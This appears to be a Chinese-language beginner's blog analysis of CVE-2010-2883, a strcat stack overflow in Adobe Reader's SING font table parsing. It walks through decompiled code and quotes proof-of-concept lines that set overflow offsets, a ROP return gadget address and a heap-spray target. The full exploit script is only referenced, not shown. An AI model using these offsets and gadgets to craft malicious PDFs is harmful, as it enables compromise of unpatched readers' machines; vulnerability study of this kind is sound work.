CVE-2010-2883分析
刚接触EXP,欢迎指正错误。
1. 相关信息
受影响软件:Adobe Reader 8.2.4 - 9.3.4
相关资源:
生成POC脚本(修改已不再依赖Metasploit): adobe_cooltype_sing.rb
所需TTF文件: cve-2010-2883.ttf
漏洞成因: strcat导致栈覆盖this指针,控制虚函数表
2. POC分析
造成栈溢出问题出在strcat调用,位于0x806CD76
sub_8021ABE(&TableEntry, a1, "SING");
v6 = TableEntry;
LOBYTE(v24) = 2;
if ( TableEntry )
{
if ( !(*&TableEntry->tableVersionMajor & 0xFFFF) || (*&TableEntry->tableVersionMajor & 0xFFFF) == 256 )
{
uniqueName = 0;
strcat(&uniqueName, TableEntry->uniqueName);
sub_8001243(a2, &uniqueName);
v6 = TableEntry;
}
v23 = 1;
}
可以看到在解析SING表,后经过一些条件就会执行到strcat。由于除了ATL.DLL其他模块均开启了SAFESEH,而ATL.DLL中我没找到好用的gadget,所以利用SEH控制程序很难?(我的猜测)
sub_8001243会对我们覆盖的栈中一个地址addr+0x1c进行读写,此时
uniqueName = 12e4d8
a2 = 12e608 = uniqueName + 0x130 = sing + 0x140
对应POC代码
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
随后调用
sub_8016B96 -> sub_801BAD9 -> call dword ptr [eax]
此时 eax = 12e6e0 = sing + 0x240
对应POC
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
剩下的构造SING表POC就很好理解了,其中设置ESP指向0x0c0c0c0c(PDF中JS负责完成堆喷)
比较好奇的是POC中这段代码,在我测试中没发现有什么用处??
# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')